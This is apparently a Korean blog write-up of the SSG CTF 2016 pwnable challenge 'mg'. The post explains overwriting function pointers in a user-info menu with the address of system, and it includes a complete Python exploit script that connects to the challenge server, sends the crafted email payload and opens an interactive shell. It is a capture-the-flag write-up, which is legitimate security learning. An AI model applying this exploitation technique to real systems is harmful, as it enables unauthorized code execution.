ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SSG CTF 2016 - mg
    CTF 2016. 4. 3. 00:28

    mg문제는 포너블 350점으로 나왔다.





    여러개의 메뉴가 있다. 여기서 중요한건 1번과 2번이다 하나하나 살펴보겠다.





    male과 female 즉 성별을 입력받고 name과 email을 입력할수있다.


    여기서 대충보면 오버플로우 벡터가 하나도없다 근데 다른함수들을 보자 





    오... 함수포인터들이다. 그리고 마지막에 return result가 존재하는데 bookstore를 풀어본사람은 알겠지만 함수포인터를 파일을읽는 함수로 덮어주어서 해결했었다.


    그럼 이것도 system을 주니, 덮어주면되는데 인자로넣어줄 문자열이없다 그럼 그냥 우리가 만들어주면된다.


    from socket import *
    import time,struct
    from telnetlib import *
    
    p = lambda x:struct.pack("<L",x)
    up = lambda x:struct.unpack("<L",x)
    
    HOST = "119.81.253.14"
    PORT = 32770
    
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((HOST,PORT))
    
    system = 0x80484F0
    
    print s.recv(1024)
    print s.recv(1024)
    s.send("1\n")
    print s.recv(1024)
    s.send("1\n") #gender
    print s.recv(1024)
    print s.recv(1024)
    s.send("1"+ "\n") #name
    print s.recv(1024)
    s.send("AAAA" + p(system)*15 + "\x90"*15 + "\n") #email
    print s.recv(1024)
    print s.recv(1024)
    s.send("2\n") #lookup master
    print s.recv(1024)
    
    t = Telnet()
    t.sock = s
    t.interact()
    
    s.close()


    'CTF' 카테고리의 다른 글

    H3X0R CTF - bughunt  (3) 2016.05.15
    H3X0R CTF - Simple_Test  (5) 2016.05.15
    [SECCON 2015]Exec dmesg  (0) 2015.12.06
    HDCON 2015 C&C 분석  (6) 2015.11.16
    [CodeGate]BookStore  (0) 2015.11.13

    댓글

Designed by Tistory.